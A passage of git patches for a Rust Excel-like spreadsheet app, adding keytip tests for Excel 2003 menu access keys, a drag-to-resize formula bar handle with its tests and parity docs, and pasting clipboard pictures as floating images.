harness(blank()); + sequence(&mut h, "OD", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.conditionalFormat"), "OD must journal home.conditionalFormat"); +} + +#[test] +fn keytip_dff_() { + let mut h = harness(blank()); + sequence(&mut h, "DFF", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.filter"), "DFF must journal data.filter"); +} + +#[test] +fn keytip_ds_() { + let mut h = harness(blank()); + sequence(&mut h, "DS", false); + assert!(h.state().dialog.is_some(), "DS must open the sort dialog"); +} + +#[test] +fn keytip_dgg_() { + let mut h = harness(blank()); + sequence(&mut h, "DGG", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.group"), "DGG must journal data.group"); +} + +#[test] +fn keytip_dgu_() { + let mut h = harness(blank()); + sequence(&mut h, "DGU", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.ungroup"), "DGU must journal data.ungroup"); +} + +#[test] +fn keytip_dgs_() { + let mut h = harness(blank()); + sequence(&mut h, "DGS", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.showDetail"), "DGS must journal data.showDetail"); +} + +#[test] +fn keytip_dgh_() { + let mut h = harness(blank()); + sequence(&mut h, "DGH", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.hideDetail"), "DGH must journal data.hideDetail"); +} + +#[test] +fn keytip_dl_() { + let mut h = harness(blank()); + sequence(&mut h, "DL", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.validation"), "DL must journal data.validation"); +} + +#[test] +fn keytip_dt_() { + let mut h = harness(blank()); + sequence(&mut h, "DT", false); + assert!(h.state().message.is_some() || h.state().toast.is_some(), "DT must invoke data.dataTable and surface its missing-params error"); +} + +#[test] +fn keytip_vn_() { + let mut h = harness(blank()); + sequence(&mut h, "VN", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "view.normal"), "VN must journal view.normal"); +} + +#[test] +fn keytip_vp_() { + let mut h = harness(blank()); + sequence(&mut h, "VP", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "view.pageBreakPreview"), "VP must journal view.pageBreakPreview"); +} + +#[test] +fn keytip_vz_() { + let mut h = harness(blank()); + sequence(&mut h, "VZ", false); + assert!(h.state().dialog.is_some(), "VZ must open the zoom dialog"); +} + +#[test] +fn keytip_to_() { + let mut h = harness(blank()); + sequence(&mut h, "TO", false); + assert!(h.state().backstage.is_some(), "TO must open the Options page"); +} + +#[test] +fn keytip_tua_() { + let mut h = harness(blank()); + sequence(&mut h, "TUA", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "formulas.removeArrows"), "TUA must journal formulas.removeArrows"); +} + +#[test] +fn keytip_tud_() { + let mut h = harness(blank()); + sequence(&mut h, "TUD", false); + assert!(h.state().message.is_none() && h.state().toast.is_none(), "TUD must run formulas.traceDependents cleanly"); +} + +#[test] +fn keytip_tut_() { + let mut h = harness(blank()); + sequence(&mut h, "TUT", false); + assert!(h.state().message.is_none() && h.state().toast.is_none(), "TUT must run formulas.tracePrecedents cleanly"); +} + +#[test] +fn keytip_fu_() { + let mut h = harness(blank()); + sequence(&mut h, "FU", false); + assert!(h.state().dialog.is_some(), "FU must open the pageSetup dialog"); +} + #[test] fn keytip_q_() { let mut h = harness(blank()); @@ -2766,7 +3067,7 @@ fn keytip_q_() { #[test] fn generated_test_count_matches_the_table() { - const EXPECTED: usize = 367; + const EXPECTED: usize = 410; assert_eq!(gridcraft_ui_egui::keytips::keytip_table::SEQUENCES.len(), EXPECTED); } diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..3d51e0e65 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -21,7 +21,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Formulas › Function Library | Insert Function, AutoSum, Recently Used and a menu per function category | yes (10-24): a big Insert Function button and three columns of labelled small buttons, the layout Excel uses when the window is not wide enough for a big button per category; each category's book icon has its own colour; a category menu shows each function's description on hover and ends with Insert Function…, which opens the dialog on that category; More Functions cascades into Statistical, Engineering, Cube, Information, Compatibility and Web; AutoSum is a split button whose menu (Sum, Average, Count Numbers, Max, Min, More Functions…) Home › Editing shares; Recently Used has the MR key tip | the wide layout with a big button per category is not offered; a function counts as recently used once its formula is entered, not when Insert Function's OK is pressed | | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable tabs) | done; missing contextual tabs for pictures, shapes, sparklines, header/footer, slicers | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing | -| Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus legacy Alt sequences; other tabs and controls not yet (#33, #49) | 3–5 h | +| Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus the Excel 2003 menu keys (Alt+I, E, O, D, V, T and Alt+F, U, such as Alt+I, R or Alt+D, S), which paint no badges, as in Excel (#941); other tabs and controls not yet (#33, #49) | 3–5 h | | Formula bar with Name Box, expand, function hints | yes | yes; grows with its content from one to five lines (Alt+Enter, wrapped text, or viewing a multi-line cell), then scrolls with the caret in view, the Name Box and buttons staying on the first line; the chevron pins it at five; the in-cell editor shows every line | done; no drag-to-resize handle | | Sheet tabs: rename, reorder, colour, hide, scroll | yes | yes | Ctrl-drag (Cmd or Option on macOS) drops a copy (#971); active tab revealed on navigation and resize (#681); manual wheel/trackpad browsing preserved; rename focus bug on macOS (#145) | | Formula bar with Name Box, expand, function hints | yes | yes | done; dynamic-array spill children show the source formula muted and read-only, using current spill ownership | @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Excel 2003 menu access keys: 43 legacy sequences (Insert, Edit, Format, Data, View, Tools and File ▸ Page Setup, e.g. Alt+I, R inserts rows, Alt+E, A, A clears all, Alt+D, S sorts, Alt+T, O opens Options) run the existing commands and dialogs; Alt+I, D, V and T paint no badges, as in Excel (#941, #2311) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | diff --git a/xtask/src/keytips.rs b/xtask/src/keytips.rs index 5b7137455..b662dd101 100644 --- a/xtask/src/keytips.rs +++ b/xtask/src/keytips.rs @@ -323,6 +323,11 @@ fn render_tests(entries: &[Entry], probe: &Probe) -> String { id = e.target, ), }, + // Options is a Backstage page rather than a dialog box. + "dialog" if e.target == "options" => format!( + "sequence(&mut h, {seq:?}, false);\n assert!(h.state().backstage.is_some(), \"{seq} must open the Options page\");", + seq = e.seq, + ), "dialog" => format!( "sequence(&mut h, {seq:?}, false);\n assert!(h.state().dialog.is_some(), \"{seq} must open the {dialog} dialog\");", seq = e.seq, From dea1359c7e69e975fabd6db5fc15063eb149968e Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 02:41:57 -0600 Subject: [PATCH 103/167] #1246: drag the formula bar's bottom edge to resize it The bottom edge of the formula bar is a resize handle: dragging it sets the height in whole lines (up to half the window; one line collapses the bar). Expanding again (the chevron, Ctrl+Shift+U) returns to the dragged height instead of a fixed five lines. The drag previews live and commits once through view.expandFormulaBar {lines}, which is also scriptable; the height is kept with the UI preferences. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app/commands.rs | 15 +++- crates/ui-egui/src/control.rs | 6 +- crates/ui-egui/src/formula_bar.rs | 77 +++++++++++++++++-- crates/ui-egui/src/lib.rs | 4 + crates/ui-egui/tests/it/formula_bar_expand.rs | 65 +++++++++++++++- docs/ui-parity.md | 3 +- 6 files changed, 160 insertions(+), 10 deletions(-) diff --git a/crates/ui-egui/src/app/commands.rs b/crates/ui-egui/src/app/commands.rs index 86a4a6cc5..4f47cf085 100644 --- a/crates/ui-egui/src/app/commands.rs +++ b/crates/ui-egui/src/app/commands.rs @@ -163,8 +163,19 @@ impl SheetApp { Ok(Json::Null) } "view.expandFormulaBar" => { - self.ui.formula_bar_expanded = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.formula_bar_expanded); - Ok(json!({"on": self.ui.formula_bar_expanded})) + // `lines` is where a drag of the bar's bottom edge left it: one line collapses it, + // more expands it to that height, which expanding returns to afterwards. + if let Some(lines) = p.get("lines").and_then(Json::as_u64) { + let lines = usize::try_from(lines).unwrap_or(usize::MAX).clamp(1, crate::formula_bar::MAX_DRAG_LINES); + self.ui.formula_bar_expanded = lines > 1; + if lines > 1 { + self.ui.formula_bar_lines = lines; + } + Ok(json!({"on": self.ui.formula_bar_expanded, "lines": self.ui.formula_bar_lines})) + } else { + self.ui.formula_bar_expanded = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.formula_bar_expanded); + Ok(json!({"on": self.ui.formula_bar_expanded})) + } } "view.darkMode" => { let current = if self.ui.system_theme { self.effective_dark } else { self.ui.dark }; diff --git a/crates/ui-egui/src/control.rs b/crates/ui-egui/src/control.rs index 2d46b21b8..38e86f106 100644 --- a/crates/ui-egui/src/control.rs +++ b/crates/ui-egui/src/control.rs @@ -263,7 +263,11 @@ pub fn handle(app: &mut SheetApp, ctx: &egui::Context, method: &str, p: &Json) - ("ui.ribbonTab", "Ribbon Tab", ""), ("app.checkForUpdates", "Check for Updates…", ""), ("view.collapseRibbon", "Collapse Ribbon", ""), - ("view.expandFormulaBar", "Expand Formula Bar", "{on?: bool} (toggles without it) → {on}"), + ( + "view.expandFormulaBar", + "Expand Formula Bar", + "{on?: bool} (toggles without it) → {on}; {lines: int} sets the expanded height (1 collapses) → {on, lines}", + ), ("ui.pythonMode", "Python Mode", "{on?: bool} (toggles without it) → {on}; a refused start is an error"), ("view.darkMode", "Dark Mode", ""), ("view.theme", "Display Theme", ""), diff --git a/crates/ui-egui/src/formula_bar.rs b/crates/ui-egui/src/formula_bar.rs index 25178ce50..9be205a4f 100644 --- a/crates/ui-egui/src/formula_bar.rs +++ b/crates/ui-egui/src/formula_bar.rs @@ -12,6 +12,11 @@ use crate::theme::{self, Tokens}; /// Lines the formula bar (and the in-cell editor) grows to before it scrolls. pub const MAX_LINES: usize = 5; +/// The most lines a drag of the bar's bottom edge can give it (the window caps it at half its +/// height first). +pub const MAX_DRAG_LINES: usize = 100; +/// How far the bar's bottom edge reaches up into the bar as a resize handle (its bottom margin). +const HANDLE: f32 = 4.0; /// The bar's height at one line. const ONE_LINE: f32 = 30.0; /// What the bar adds around the field's rows: the panel's margins (3 + 3), the field's (3 + 3) @@ -40,11 +45,22 @@ pub struct BarLayout { pub visible_lines: usize, /// The caret while editing in the bar. pub caret: Option, + /// The bottom edge that resizes the bar. + pub handle: Rect, } impl Default for BarLayout { fn default() -> Self { - BarLayout { name_box: Rect::NOTHING, buttons: Rect::NOTHING, field: Rect::NOTHING, height: 0.0, lines: 1, visible_lines: 1, caret: None } + BarLayout { + name_box: Rect::NOTHING, + buttons: Rect::NOTHING, + field: Rect::NOTHING, + height: 0.0, + lines: 1, + visible_lines: 1, + caret: None, + handle: Rect::NOTHING, + } } } @@ -73,13 +89,15 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { let font = theme::ui_font(13.0); let row_h = ui.ctx().fonts_mut(|f| f.row_height(&font)); let last = BarLayout::get(ui.ctx()); - // Height follows the content's line count (last frame's), 1 to MAX_LINES; the chevron pins it - // at MAX_LINES. It eases only when that target changes. - let lines = if app.ui.formula_bar_expanded { MAX_LINES } else { last.lines.clamp(1, MAX_LINES) }; + // Height follows the content's line count (last frame's), 1 to MAX_LINES; expanded (the + // chevron), it is the height the bottom edge was dragged to. It eases only when that target + // changes. + let most = max_lines(ui.ctx().content_rect().height(), row_h); + let lines = if app.ui.formula_bar_expanded { app.ui.formula_bar_lines.clamp(1, most) } else { last.lines.clamp(1, MAX_LINES) }; let target = one_line(row_h) + (lines - 1) as f32 * row_h; let h = ui.ctx().animate_value_with_time(egui::Id::unique("formula_bar.height"), target, EASE_SECONDS); let mut layout = BarLayout { height: h, ..Default::default() }; - egui::Panel::top("formula_bar") + let panel = egui::Panel::top("formula_bar") .exact_size(h) .frame(egui::Frame::NONE.fill(t.window).inner_margin(egui::Margin { left: 8, right: 8, top: 3, bottom: 3 })) .show(ui, |ui| { @@ -156,9 +174,58 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { } }); }); + layout.handle = resize_handle(app, ui, panel.response.rect, row_h, most); ui.ctx().data_mut(|d| d.insert_temp(BarLayout::id(), layout)); } +/// The most lines the bar takes in a window `window_h` tall: half the window, as in Excel, and +/// never fewer than the chevron's [`MAX_LINES`]. +fn max_lines(window_h: f32, row_h: f32) -> usize { + let fit = ((window_h * 0.5 - one_line(row_h)) / row_h).floor(); + if fit.is_finite() && fit > 0.0 { (fit as usize + 1).clamp(MAX_LINES, MAX_DRAG_LINES) } else { MAX_LINES } +} + +/// The lines a bar whose top is at `top` shows with its bottom edge dragged to `y`, in whole lines. +fn dragged_lines(y: f32, top: f32, row_h: f32, most: usize) -> usize { + let extra = ((y - top - one_line(row_h)) / row_h).round(); + if extra.is_finite() && extra > 0.0 { (extra as usize + 1).min(most) } else { 1 } +} + +/// The bar's bottom edge: dragging it sets the bar's height in whole lines, as in Excel. The bar +/// follows the pointer; the release runs `view.expandFormulaBar` with the lines, so one drag is +/// one step (one line collapses the bar). +fn resize_handle(app: &mut SheetApp, ui: &mut egui::Ui, bar: Rect, row_h: f32, most: usize) -> Rect { + let handle = Rect::from_x_y_ranges(bar.x_range(), (bar.bottom() - HANDLE)..=bar.bottom()); + let resp = ui.interact(handle, egui::Id::unique("formula_bar.resize"), Sense::drag()); + let name = app.ui.language.tr("Resize formula bar"); + resp.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, name)); + if resp.hovered() || resp.dragged() { + ui.ctx().set_cursor_icon(egui::CursorIcon::ResizeVertical); + } + // The state before the drag: the preview changes it, the release puts it back for the command. + let before = resp.id.with("before"); + if resp.drag_started() { + let state = (app.ui.formula_bar_expanded, app.ui.formula_bar_lines); + ui.ctx().data_mut(|d| d.insert_temp(before, state)); + } + if let Some(p) = resp.interact_pointer_pos().filter(|_| resp.dragged() || resp.drag_stopped()) { + let lines = dragged_lines(p.y, bar.top(), row_h, most); + if resp.drag_stopped() { + if let Some((expanded, kept)) = ui.ctx().data_mut(|d| d.remove_temp::<(bool, usize)>(before)) { + (app.ui.formula_bar_expanded, app.ui.formula_bar_lines) = (expanded, kept); + } + app.run_or_alert("view.expandFormulaBar", json!({"lines": lines})); + } else { + app.ui.formula_bar_expanded = lines > 1; + if lines > 1 { + app.ui.formula_bar_lines = lines; + } + ui.ctx().request_repaint(); + } + } + handle +} + /// Resolve ownership on every frame; never cache a spill range in presentation state. pub(crate) fn active_spill_anchor(app: &SheetApp) -> Option { let d = app.session.active()?; diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 95f861f14..d76787796 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -88,6 +88,9 @@ pub struct UiState { pub ribbon_tab: String, pub ribbon_collapsed: bool, pub formula_bar_expanded: bool, + /// Lines the expanded formula bar shows: the height its bottom edge was last dragged to. + /// Expanding it again (the chevron, Ctrl+Shift+U) returns to that height. + pub formula_bar_lines: usize, pub status_bar: bool, /// Motion in the UI: the selection outline glides to a new selection (View ▸ Animations). pub animations: bool, @@ -137,6 +140,7 @@ impl Default for UiState { ribbon_tab: "Home".into(), ribbon_collapsed: false, formula_bar_expanded: false, + formula_bar_lines: formula_bar::MAX_LINES, status_bar: true, animations: true, autocomplete: true, diff --git a/crates/ui-egui/tests/it/formula_bar_expand.rs b/crates/ui-egui/tests/it/formula_bar_expand.rs index a71a979cd..cabf7ee70 100644 --- a/crates/ui-egui/tests/it/formula_bar_expand.rs +++ b/crates/ui-egui/tests/it/formula_bar_expand.rs @@ -1,6 +1,6 @@ //! Ctrl+Shift+U (Control+Shift+U in Excel for Mac) expands and collapses the formula bar. -use egui::{Event, Key, Modifiers}; +use egui::{Event, Key, Modifiers, vec2}; use gridcraft_engine::Session; use gridcraft_ui_egui::SheetApp; use gridcraft_ui_egui::keymap::{Shortcut, lookup}; @@ -84,3 +84,66 @@ fn expand_formula_bar_command_sets_or_toggles_the_state() { assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({})), Ok(json!({"on": false}))); assert!(!expanded(&h)); } + +fn drag(h: &mut Harness, from: egui::Pos2, to: egui::Pos2) { + use egui::PointerButton; + h.input_mut().events.extend([ + Event::PointerMoved(from), + Event::PointerButton { pos: from, button: PointerButton::Primary, pressed: true, modifiers: Modifiers::NONE }, + ]); + h.step(); + for i in 1..=6 { + h.input_mut().events.push(Event::PointerMoved(from + (to - from) * (i as f32 / 6.0))); + h.step(); + } + h.input_mut().events.push(Event::PointerButton { pos: to, button: PointerButton::Primary, pressed: false, modifiers: Modifiers::NONE }); + h.run_steps(20); +} + +fn bar(h: &Harness) -> gridcraft_ui_egui::formula_bar::BarLayout { + gridcraft_ui_egui::formula_bar::BarLayout::get(&h.ctx) +} + +#[test] +fn dragging_the_bottom_edge_sets_the_height_that_expanding_returns_to() { + let mut h = harness(); + h.run_steps(20); + let start = bar(&h); + assert_eq!(start.visible_lines, 1, "one line of text shows a one-line bar"); + assert!( + start.handle.height() > 0.0 && (start.handle.bottom() - start.field.bottom()).abs() <= 4.0, + "the handle is the bar's bottom edge: {start:?}" + ); + // Drag the edge down about five and a half rows: the bar snaps to whole lines. + let row = 17.0; + drag(&mut h, start.handle.center(), start.handle.center() + vec2(0.0, 5.5 * row)); + let lines = h.state().ui.formula_bar_lines; + assert!(expanded(&h), "a taller bar is expanded"); + assert!((6..=7).contains(&lines), "about six more lines: {lines}"); + assert_eq!(bar(&h).visible_lines, lines, "the field shows the dragged lines: {:?}", bar(&h)); + // Collapse, then expand: back to the dragged height, not the default five lines. + ctrl_shift_u(&mut h, CTRL_SHIFT); + h.run_steps(20); + assert!(!expanded(&h)); + assert_eq!(bar(&h).visible_lines, 1); + ctrl_shift_u(&mut h, CTRL_SHIFT); + h.run_steps(20); + assert_eq!(bar(&h).visible_lines, lines, "expanding returns to the dragged height"); + // Dragging the edge up to one line collapses the bar and keeps the expanded height. + let edge = bar(&h).handle.center(); + drag(&mut h, edge, edge - vec2(0.0, 20.0 * row)); + assert!(!expanded(&h), "a one-line bar is collapsed"); + assert_eq!(bar(&h).visible_lines, 1); + assert_eq!(h.state().ui.formula_bar_lines, lines); +} + +#[test] +fn expand_formula_bar_with_lines_sets_the_expanded_height() { + let mut h = harness(); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": 8})), Ok(json!({"on": true, "lines": 8}))); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": 1})), Ok(json!({"on": false, "lines": 8})), "one line collapses"); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({})), Ok(json!({"on": true}))); + assert_eq!(h.state().ui.formula_bar_lines, 8, "expanding returns to the set height"); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": 0})), Ok(json!({"on": false, "lines": 8})), "zero lines is one line"); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": u64::MAX})), Ok(json!({"on": true, "lines": 100})), "capped"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..5c1fc5543 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -22,7 +22,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable tabs) | done; missing contextual tabs for pictures, shapes, sparklines, header/footer, slicers | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing | | Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus legacy Alt sequences; other tabs and controls not yet (#33, #49) | 3–5 h | -| Formula bar with Name Box, expand, function hints | yes | yes; grows with its content from one to five lines (Alt+Enter, wrapped text, or viewing a multi-line cell), then scrolls with the caret in view, the Name Box and buttons staying on the first line; the chevron pins it at five; the in-cell editor shows every line | done; no drag-to-resize handle | +| Formula bar with Name Box, expand, function hints | yes | yes; grows with its content from one to five lines (Alt+Enter, wrapped text, or viewing a multi-line cell), then scrolls with the caret in view, the Name Box and buttons staying on the first line; dragging its bottom edge sets the height in whole lines (up to half the window; one line collapses it), and the chevron or Ctrl+Shift+U expands it back to that height (five lines until it is dragged); the in-cell editor shows every line | done; the Name Box width is fixed | | Sheet tabs: rename, reorder, colour, hide, scroll | yes | yes | Ctrl-drag (Cmd or Option on macOS) drops a copy (#971); active tab revealed on navigation and resize (#681); manual wheel/trackpad browsing preserved; rename focus bug on macOS (#145) | | Formula bar with Name Box, expand, function hints | yes | yes | done; dynamic-array spill children show the source formula muted and read-only, using current spill ownership | | Python cells: Python mode | yes | yes (11-01): Ctrl+Alt+Shift+P (Cmd+Option+Shift+P on a Mac), `=PY` then Tab, or editing a Python cell edits the code in the formula bar's code editor, with a PY badge beside fx; Enter starts a new line with the indentation, Tab and Shift+Tab indent, Ctrl+Enter (Cmd+Enter) puts the code in the cell through `python.set`, Esc cancels. Deleting all the code and committing clears a Python cell, as an empty entry clears any other cell. The formula bar shows while a Python edit is open, also when View › Formula Bar hides it. On a protected sheet, a Python cell formatted Hidden shows no code in the formula bar and starts no edit, as a hidden formula shows none | this build stores Python code and doesn't run it: new or changed code shows `#BLOCKED!`; no `xl()` pointing on the sheet yet | @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | The formula bar's bottom edge is a resize handle: dragging it sets the bar's height in whole lines, up to half the window, and dragging it to one line collapses it; expanding (the chevron, Ctrl+Shift+U) returns to the dragged height, which is kept with the UI preferences. `view.expandFormulaBar {lines}` sets it (#1246) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From ac27137cd80cab628d5dc1ae93ddb55a0dd40a8b Mon Sep 17 00:00:00 2001 From: adifiedio Date: Tue, 3 Nov 2026 14:14:34 +0530 Subject: [PATCH 104/167] Clipboard: paste a picture from the system clipboard at the active cell (#699) Cmd/Ctrl+V dropped egui's PasteImage event, and the ribbon/menu Paste only read text, so screenshots and images copied in a browser reported "Nothing to paste". Both now encode the pixels as PNG (bounded to 16384 px per side, 64 Mpx) and run insert.picture as a floating picture anchored at the active cell, as Excel does. Text on the clipboard still wins. New host service: Services::paste_image (arboard). Fixes #699, #3018, #3182. --- apps/gridcraft/Cargo.toml | 4 +- apps/gridcraft/src/main.rs | 6 ++- crates/ui-egui/src/app/clipboard.rs | 50 ++++++++++++++++++-- crates/ui-egui/src/grid/keyboard.rs | 8 ++-- crates/ui-egui/src/services.rs | 3 ++ crates/ui-egui/tests/it/clipboard.rs | 68 ++++++++++++++++++++++++++++ docs/cell-pictures.md | 7 +-- docs/ui-parity.md | 3 +- 8 files changed, 134 insertions(+), 15 deletions(-) diff --git a/apps/gridcraft/Cargo.toml b/apps/gridcraft/Cargo.toml index aaa012934..a7472821f 100644 --- a/apps/gridcraft/Cargo.toml +++ b/apps/gridcraft/Cargo.toml @@ -37,13 +37,13 @@ winit = { version = "0.30", default-features = false, features = ["x11", "waylan craft-print = { git = "https://github.com/storytold/craft-libs", rev = "c5a1cbfb5f9049f9270955caffb5bee5997aebf7" } craft-update = { workspace = true } rfd = { workspace = true } -arboard = { workspace = true } +arboard = { workspace = true, features = ["image-data"] } gridcraft-mcp = { workspace = true } # The control channel's token (OS random numbers); already in the tree. getrandom = "0.4" [target.'cfg(any(target_os = "linux", target_os = "freebsd"))'.dependencies] -arboard = { workspace = true, features = ["wayland-data-control"] } +arboard = { workspace = true, features = ["image-data", "wayland-data-control"] } [target.'cfg(target_os = "windows")'.dependencies] # Blocks on the start-up DirectX 12 adapter probe (`graphics.rs`); already in the tree via eframe. diff --git a/apps/gridcraft/src/main.rs b/apps/gridcraft/src/main.rs index 3aab1ccfc..e99ef15de 100644 --- a/apps/gridcraft/src/main.rs +++ b/apps/gridcraft/src/main.rs @@ -154,7 +154,7 @@ fn read_clipboard( fn services() -> Services { // Keep the owner alive: X11/Wayland serve clipboard data from this handle. let clipboard: Rc>> = Rc::default(); - let (html_clipboard, text_clipboard) = (clipboard.clone(), clipboard.clone()); + let (html_clipboard, text_clipboard, image_clipboard) = (clipboard.clone(), clipboard.clone(), clipboard.clone()); Services { copy_html: Some(Box::new(move |html, text| { let mut clipboard = clipboard.borrow_mut(); @@ -165,6 +165,10 @@ fn services() -> Services { })), paste_html: Some(Box::new(move || read_clipboard(&html_clipboard, |clipboard| clipboard.get().html()))), paste_text: Some(Box::new(move || read_clipboard(&text_clipboard, |clipboard| clipboard.get_text()))), + paste_image: Some(Box::new(move || { + let image = read_clipboard(&image_clipboard, |clipboard| clipboard.get_image())?; + image::RgbaImage::from_raw(u32::try_from(image.width).ok()?, u32::try_from(image.height).ok()?, image.bytes.into_owned()) + })), pick_open: Some(Box::new(|| { rfd::FileDialog::new() .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"]) diff --git a/crates/ui-egui/src/app/clipboard.rs b/crates/ui-egui/src/app/clipboard.rs index da75d8b73..3ef59a8af 100644 --- a/crates/ui-egui/src/app/clipboard.rs +++ b/crates/ui-egui/src/app/clipboard.rs @@ -48,12 +48,36 @@ impl SheetApp { } /// Ribbon and menu Paste: paste the text on the system clipboard, as Cmd/Ctrl+V does. With no - /// text there, no host clipboard (web), or the text that was there when GridCraft last copied - /// without publishing, GridCraft's own clipboard is pasted. + /// text there but a picture, the picture is pasted. With neither, no host clipboard (web), or + /// the text that was there when GridCraft last copied without publishing, GridCraft's own + /// clipboard is pasted. pub fn paste_from_clipboard(&mut self) { match self.system_clipboard_text() { Some(text) if self.session.clipboard.is_none() || self.clipboard_text_at_copy.as_ref() != Some(&text) => self.paste_external(text), - _ => self.run_or_alert("edit.paste", json!({})), + Some(_) => self.run_or_alert("edit.paste", json!({})), + None => match self.services.paste_image.as_mut().and_then(|read| read()) { + Some(image) => self.paste_picture(image), + None => self.run_or_alert("edit.paste", json!({})), + }, + } + } + + /// Paste a picture from the system clipboard (a screenshot, an image copied in a browser) as + /// a floating picture whose top-left corner is the active cell, as Excel does. + pub fn paste_picture(&mut self, image: image::RgbaImage) { + match encode_png(&image) { + Ok(png) => self.run_or_alert("insert.picture", json!({"base64": gridcraft_engine::io::base64_encode(&png), "mime": "image/png"})), + Err(e) => self.alert(e), + } + } + + /// Cmd/Ctrl+V with a picture and no text on the clipboard (egui's `Event::PasteImage`). + pub fn paste_color_image(&mut self, image: &egui::ColorImage) { + let [w, h] = image.size; + let rgba = image.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect(); + match u32::try_from(w).ok().zip(u32::try_from(h).ok()).and_then(|(w, h)| image::RgbaImage::from_raw(w, h, rgba)) { + Some(image) => self.paste_picture(image), + None => self.alert("The picture on the clipboard can't be read.".into()), } } @@ -75,3 +99,23 @@ impl SheetApp { } } } + +/// Largest clipboard picture pasted, per side and in total (an 8K screenshot fits). +const MAX_PICTURE_SIDE: u32 = 16_384; +const MAX_PICTURE_PIXELS: u64 = 64 * 1024 * 1024; + +/// PNG bytes of a clipboard picture, refusing sizes that would exhaust memory. +fn encode_png(image: &image::RgbaImage) -> Result, String> { + let (w, h) = image.dimensions(); + if w == 0 || h == 0 { + return Err("The picture on the clipboard is empty.".into()); + } + if w > MAX_PICTURE_SIDE || h > MAX_PICTURE_SIDE || u64::from(w) * u64::from(h) > MAX_PICTURE_PIXELS { + return 